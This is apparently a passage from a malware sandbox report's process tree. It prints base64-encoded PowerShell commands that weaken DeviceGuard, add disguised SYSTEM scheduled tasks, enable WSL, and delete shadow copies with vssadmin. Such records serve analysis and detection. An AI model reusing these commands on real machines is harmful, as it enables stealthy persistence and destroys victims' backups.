GUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwARABlAHYAaQBjAGUARwB1AGEAcgBkACIAIAAtAE4AYQBtAGUAIAAiAFIAZQBxAHUAaQByAGUAUABsAGEAdABmAG8AcgBtAFMAZQBjAHUAcgBpAHQAeQBGAGUAYQB0AHUAcgBlAHMAIgAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAAMAAgAC0ARgBvAHIAYwBlAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEMAVQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwARABlAHYAaQBjAGUARwB1AGEAcgBkACIAIAAtAE4AYQBtAGUAIAAiAFIAZQBxAHUAaQByAGUAUABsAGEAdABmAG8AcgBtAFMAZQBjAHUAcgBpAHQAeQBGAGUAYQB0AHUAcgBlAHMAIgAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBDAFUAOgBcAFMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAQwBvAG4AdAByAG8AbABcAEQAZQB2AGkAYwBlAEcAdQBhAHIAZAAiACAALQBOAGEAbQBlACAAIgBSAGUAcQB1AGkAcgBlAFAAbABhAHQAZgBvAHIAbQBTAGUAYwB1AHIAaQB0AHkARgBlAGEAdAB1AHIAZQBzACIAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAFYAYQBsAHUAZQAgADAAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAUwBlAHMAcwBpAG8AbgAgAE0AYQBuAGEAZwBlAHIAXABNAGUAbQBvAHIAeQAgAE0AYQBuAGEAZwBlAG0AZQBuAHQAIgAgAC0ATgBhAG0AZQAgACIATABhAHIAZwBlAFAAYQBnAGUATQBpAG4AaQBtAHUAbQAiACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAUwBlAHMAcwBpAG8AbgAgAE0AYQBuAGEAZwBlAHIAXABNAGUAbQBvAHIAeQAgAE0AYQBuAGEAZwBlAG0AZQBuAHQAIgAgAC0ATgBhAG0AZQAgACIATABhAHIAZwBlAFAAYQBnAGUATQBpAG4AaQBtAHUAbQAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAwACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABTAGUAcwBzAGkAbwBuACAATQBhAG4AYQBnAGUAcgBcAE0AZQBtAG8AcgB5ACAATQBhAG4AYQBnAGUAbQBlAG4AdAAiACAALQBOAGEAbQBlACAAIgBMAGEAcgBnAGUAUABhAGcAZQBNAGkAbgBpAG0AdQBtACIAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABTAGUAcwBzAGkAbwBuACAATQBhAG4AYQBnAGUAcgBcAE0AZQBtAG8AcgB5ACAATQBhAG4AYQBnAGUAbQBlAG4AdAAiACAALQBOAGEAbQBlACAAIgBMAGEAcgBnAGUAUABhAGcAZQBNAGkAbgBpAG0AdQBtACIAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAFYAYQBsAHUAZQAgADAAIAAtAEYAbwByAGMAZQAKAA==
        7⤵
        Modifies Windows Defender notification settings
        UAC bypass
        
        PID:2008
        
        C:\Windows\system32\chcp.com
        
        "C:\Windows\system32\chcp.com" 65001
        8⤵
        
        PID:320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec bypass -enc YwBoAGMAcAAgADYANQAwADAAMQAKACQAUAByAG8AZwByAGUAcwBzAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcACgAKAFMAZQB0AC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAtAFMAYwBvAHAAZQAgAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgAKACQAYQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBCAHIAYQB2AGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAIgAkAGUAbgB2ADoAUABSAE8ARwBSAEEATQBEAEEAVABBAFwAQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUAIgA7AAoAJAB0AHIAaQBnAGcAZQByAEQAYQBpAGwAeQAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAiADAAMAA6ADAAMAAiADsACgAkAHQAcgBpAGcAZwBlAHIATABvAGcAbwBuACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuADsACgAkAHMAZQB0AHQAaQBuAGcAcwAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAFMAdABhAHIAdABXAGgAZQBuAEEAdgBhAGkAbABhAGIAbABlACAALQBIAGkAZABkAGUAbgAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgADAAOwAKAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACIATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAQwBvAHIAZQB7AEIAOABBAEMAMQA2ADYAOAAtADkANwBEADIALQA0ADIARABCAC0AOQA0AEQAQgAtAEQAMwAyAEQARQA1ADAANQA4ADgAQQAxAH0AIgAgAC0AQQBjAHQAaQBvAG4AIAAkAGEAYwB0AGkAbwBuACAALQBUAHIAaQBnAGcAZQByACAAJAB0AHIAaQBnAGcAZQByAEQAYQBpAGwAeQAsACAAJAB0AHIAaQBnAGcAZQByAEwAbwBnAG8AbgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAFUAcwBlAHIAIAAiAFMAWQBTAFQARQBNACIACgAKACQAYQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlACIAIAAtAFcAbwByAGsAaQBuAGcARABpAHIAZQBjAHQAbwByAHkAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiADsACgAkAHQAcgBpAGcAZwBlAHIARABhAGkAbAB5ACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBEAGEAaQBsAHkAIAAtAEEAdAAgACIAMAAwADoAMAAwACIAOwAKACQAdAByAGkAZwBnAGUAcgBMAG8AZwBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBPAG4AOwAKACQAcwBlAHQAdABpAG4AZwBzACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAIAAtAEgAaQBkAGQAZQBuACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAMAA7AAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgBEAGEAaQBsAHkALAAgACQAdAByAGkAZwBnAGUAcgBMAG8AZwBvAG4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACQAcwBlAHQAdABpAG4AZwBzACAALQBSAHUAbgBMAGUAdgBlAGwAIABIAGkAZwBoAGUAcwB0ACAALQBVAHMAZQByACAAIgBTAFkAUwBUAEUATQAiAAoACgAkAGEAYwB0AGkAbwBuACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACIARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0AC4AZQB4AGUAIgAgAC0AVwBvAHIAawBpAG4AZwBEAGkAcgBlAGMAdABvAHIAeQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAiADsACgAkAHQAcgBpAGcAZwBlAHIARABhAGkAbAB5ACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBEAGEAaQBsAHkAIAAtAEEAdAAgACIAMAAwADoAMAAwACIAOwAKACQAdAByAGkAZwBnAGUAcgBMAG8AZwBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBPAG4AOwAKACQAcwBlAHQAdABpAG4AZwBzACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAIAAtAEgAaQBkAGQAZQBuACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAMAA7AAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAFMAeQBzAHQAZQBtAF8AMQBEADkANAA2ADUAMABfAFgATQA3AFQAIgAgAC0AQQBjAHQAaQBvAG4AIAAkAGEAYwB0AGkAbwBuACAALQBUAHIAaQBnAGcAZQByACAAJAB0AHIAaQBnAGcAZQByAEQAYQBpAGwAeQAsACAAJAB0AHIAaQBnAGcAZQByAEwAbwBnAG8AbgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAFUAcwBlAHIAIAAiAFMAWQBTAFQARQBNACIACgAKACQAYQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBFAG0AYgBlAGQAaQB0AC4AZQB4AGUAIgAgAC0AVwBvAHIAawBpAG4AZwBEAGkAcgBlAGMAdABvAHIAeQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEUAbQBiAGUAZABpAHQALgBlAHgAZQAiADsACgAkAHQAcgBpAGcAZwBlAHIARABhAGkAbAB5ACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBEAGEAaQBsAHkAIAAtAEEAdAAgACIAMAAwADoAMAAwACIAOwAKACQAdAByAGkAZwBnAGUAcgBMAG8AZwBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBPAG4AOwAKACQAcwBlAHQAdABpAG4AZwBzACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAIAAtAEgAaQBkAGQAZQBuACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAMAA7AAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgBOAHYAVABtAFIAZQBwAF8AQwByAGEAcwBoAFIAZQBwAG8AcgB0AF8ARAAyAEUARgAxADgAMwA4ADYAQwA3AEQAQwA0ADYAQwAiACAALQBBAGMAdABpAG8AbgAgACQAYQBjAHQAaQBvAG4AIAAtAFQAcgBpAGcAZwBlAHIAIAAkAHQAcgBpAGcAZwBlAHIARABhAGkAbAB5ACwAIAAkAHQAcgBpAGcAZwBlAHIATABvAGcAbwBuACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAZQB0AHQAaQBuAGcAcwAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AVQBzAGUAcgAgACIAUwBZAFMAVABFAE0AIgAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAFMAaABlAEkAbABFAHgAcABlAHIAaQBlAG4AYwBlAEgAbwBzAHQALgBlAHgAZQAiACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAIgAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAXABTAGgAZQBJAGwARQB4AHAAZQByAGkAZQBuAGMAZQBIAG8AcwB0AC4AZQB4AGUAIgA7AAoAJAB0AHIAaQBnAGcAZQByAEQAYQBpAGwAeQAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAiADAAMAA6ADAAMAAiADsACgAkAHQAcgBpAGcAZwBlAHIATABvAGcAbwBuACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuADsACgAkAHMAZQB0AHQAaQBuAGcAcwAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAFMAdABhAHIAdABXAGgAZQBuAEEAdgBhAGkAbABhAGIAbABlACAALQBIAGkAZABkAGUAbgAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgADAAOwAKAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACIATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAVQBBAHsAMAA2ADQAMgA4ADIANwA5AC0ANABCADkAQgAtADQAMwBDAEMALQBEADYARgAyAC0AQgAyAEYAOQA4ADAAQQBDADQANwA0ADAAfQAiACAALQBBAGMAdABpAG8AbgAgACQAYQBjAHQAaQBvAG4AIAAtAFQAcgBpAGcAZwBlAHIAIAAkAHQAcgBpAGcAZwBlAHIARABhAGkAbAB5ACwAIAAkAHQAcgBpAGcAZwBlAHIATABvAGcAbwBuACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAZQB0AHQAaQBuAGcAcwAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AVQBzAGUAcgAgACIAUwBZAFMAVABFAE0AIgAKAA==
        7⤵
        
        PID:4468
        
        C:\Windows\system32\chcp.com
        
        "C:\Windows\system32\chcp.com" 65001
        8⤵
        
        PID:5212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec bypass -enc YwBoAGMAcAAgADYANQAwADAAMQAKACQAUAByAG8AZwByAGUAcwBzAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcACgAKAFMAZQB0AC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAtAFMAYwBvAHAAZQAgAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgAKAGQAaQBzAG0ALgBlAHgAZQAgAC8AbwBuAGwAaQBuAGUAIAAvAGUAbgBhAGIAbABlAC0AZgBlAGEAdAB1AHIAZQAgAC8AZgBlAGEAdAB1AHIAZQBuAGEAbQBlADoATQBpAGMAcgBvAHMAbwBmAHQALQBXAGkAbgBkAG8AdwBzAC0AUwB1AGIAcwB5AHMAdABlAG0ALQBMAGkAbgB1AHgAIAAvAGEAbABsACAALwBuAG8AcgBlAHMAdABhAHIAdAAKAGQAaQBzAG0ALgBlAHgAZQAgAC8AbwBuAGwAaQBuAGUAIAAvAGUAbgBhAGIAbABlAC0AZgBlAGEAdAB1AHIAZQAgAC8AZgBlAGEAdAB1AHIAZQBuAGEAbQBlADoAVgBpAHIAdAB1AGEAbABNAGEAYwBoAGkAbgBlAFAAbABhAHQAZgBvAHIAbQAgAC8AYQBsAGwAIAAvAG4AbwByAGUAcwB0AGEAcgB0AAoAdwBzAGwAIAAtAC0AcwBlAHQALQBkAGUAZgBhAHUAbAB0AC0AdgBlAHIAcwBpAG8AbgAgADIACgAKACQAcABhAGcAZQBmAGkAbABlACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AIAAtAEUAbgBhAGIAbABlAEEAbABsAFAAcgBpAHYAaQBsAGUAZwBlAHMACgAkAHAAYQBnAGUAZgBpAGwAZQAuAEEAdQB0AG8AbQBhAHQAaQBjAE0AYQBuAGEAZwBlAGQAUABhAGcAZQBmAGkAbABlACAAPQAgACQAZgBhAGwAcwBlAAoAJABwAGEAZwBlAGYAaQBsAGUALgBwAHUAdAAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABwAGEAZwBlAGYAaQBsAGUAcwBlAHQAIAA9ACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFAAYQBnAGUARgBpAGwAZQBTAGUAdAB0AGkAbgBnAAoAJABwAGEAZwBlAGYAaQBsAGUAcwBlAHQALgBJAG4AaQB0AGkAYQBsAFMAaQB6AGUAIAA9ACAANAAwADkANgAKACQAcABhAGcAZQBmAGkAbABlAHMAZQB0AC4ATQBhAHgAaQBtAHUAbQBTAGkAegBlACAAPQAgADEANgAzADgANAAKACQAcABhAGcAZQBmAGkAbABlAHMAZQB0AC4AUAB1AHQAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKAAoARwBlAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAFAAYQB0AGgAIAAiAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwATQBlAG0AbwByAHkARABpAGEAZwBuAG8AcwB0AGkAYwBcACIAIAB8ACAARABpAHMAYQBiAGwAZQAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsACgBEAGkAcwBhAGIAbABlAC0ATQBNAEEAZwBlAG4AdAAgAC0AbQBjAAoACgBmAHUAbgBjAHQAaQBvAG4AIABHAGUAdAAtAEgAaQBnAGgAUABlAHIAZgBvAHIAbQBhAG4AYwBlAFAAbwB3AGUAcgBQAGwAYQBuAEcAdQBpAGQAIAB7AAoAIAAgACAAIAAkAHAAbwB3AGUAcgBQAGwAYQBuAHMAIAA9ACAAcABvAHcAZQByAGMAZgBnACAALwBsAGkAcwB0ACAAfAAgAFMAZQBsAGUAYwB0AC0AUwB0AHIAaQBuAGcAIAAtAFAAYQB0AHQAZQByAG4AIAAiAEcAVQBJAEQAIgAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABfACAALQBtAGEAdABjAGgAIAAiAC4AKgBcACgAKAAuACoAPwApAFwAKQAuACoAIgApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwB1AGkAZAAgAD0AIAAkAG0AYQB0AGMAaABlAHMAWwAxAF0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAXwAgAC0AbQBhAHQAYwBoACAAIgAuACoAKABIAGkAZwBoACAAUABlAHIAZgBvAHIAbQBhAG4AYwBlAHwATQDDAKEAeABpAG0AbwAgAEQAZQBzAGUAbQBwAGUAbgBoAG8AfABEAGUAcwBlAG0AcABlAG4AaABvACAATQDDAKEAeABpAG0AbwB8AEEAbAB0AG8AIABEAGUAcwBlAG0AcABlAG4AaABvACkALgAqACIAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABnAHUAaQBkAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9AAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAAKAH0ACgAKACQAbQBhAHgAUABlAHIAZgBHAHUAaQBkACAAPQAgAEcAZQB0AC0ASABpAGcAaABQAGUAcgBmAG8AcgBtAGEAbgBjAGUAUABvAHcAZQByAFAAbABhAG4ARwB1AGkAZAAKAHAAbwB3AGUAcgBjAGYAZwAgAC8AcwAgACQAbQBhAHgAUABlAHIAZgBHAHUAaQBkAAoACgAkAGcAcgBvAHUAcAAgAD0AIAAiACoAUwAtADEALQAxAC0AMAAiAAoAcwBlAGMAZQBkAGkAdAAgAC8AZQB4AHAAbwByAHQAIAAvAGMAZgBnACAAcwBlAGMAYwBvAG4AZgBpAGcALgBjAGYAZwAKACgARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAcwBlAGMAYwBvAG4AZgBpAGcALgBjAGYAZwApACAALQByAGUAcABsAGEAYwBlACAAJwBTAGUATABvAGMAawBNAGUAbQBvAHIAeQBQAHIAaQB2AGkAbABlAGcAZQAgAD0AIAAuACoAJwAsACAAIgBTAGUATABvAGMAawBNAGUAbQBvAHIAeQBQAHIAaQB2AGkAbABlAGcAZQAgAD0AIAAqACQAZwByAG8AdQBwACIAIAB8ACAAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAcwBlAGMAYwBvAG4AZgBpAGcALgBjAGYAZwAKAHMAZQBjAGUAZABpAHQAIAAvAGMAbwBuAGYAaQBnAHUAcgBlACAALwBkAGIAIABzAGUAYwBlAGQAaQB0AC4AcwBkAGIAIAAvAGMAZgBnACAAcwBlAGMAYwBvAG4AZgBpAGcALgBjAGYAZwAgAC8AYQByAGUAYQBzACAAVQBTAEUAUgBfAFIASQBHAEgAVABTAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAcwBlAGMAYwBvAG4AZgBpAGcALgBjAGYAZwAKAAoAdgBzAHMAYQBkAG0AaQBuACAAZABlAGwAZQB0AGUAIABzAGgAYQBkAG8AdwBzACAALwBhAGwAbAAgAC8AcQB1AGkAZQB0AAoA
        7⤵
        
        PID:5604
        
        C:\Windows\system32\chcp.com
        
        "C:\Windows\system32\chcp.com" 65001
        8⤵
        
        PID:4672
        
        C:\Windows\system32\Dism.exe
        
        "C:\Windows\system32\Dism.exe" /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
        8⤵
        
        PID:5748
        
        C:\Users\Admin\AppData\Local\Temp\77010F80-FFB2-4AFD-8A9A-0FA19C9FBB48\dismhost.exe
        
        C:\Users\Admin\AppData\Local\Temp\77010F80-FFB2-4AFD-8A9A-0FA19C9FBB48\dismhost.exe {B3D9F55D-311B-4FF1-9701-FAEAACA0DDC3}
        9⤵
        Executes dropped EXE
        Drops file in Windows directory
        
        PID:3004
        
        C:\Windows\system32\Dism.exe
        
        "C:\Windows\system32\Dism.exe" /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
        8⤵
        
        PID:1840
        
        C:\Users\Admin\AppData\Local\Temp\B35C75FA-D78D-4C49-B4FD-727C4E207BF2\dismhost.exe
        
        C:\Users\Admin\AppData\Local\Temp\B35C75FA-D78D-4C49-B4FD-727C4E207BF2\dismhost.exe {848E15E4-A95D-4786-A712-3F94C0013522}
        9⤵
        Executes dropped EXE
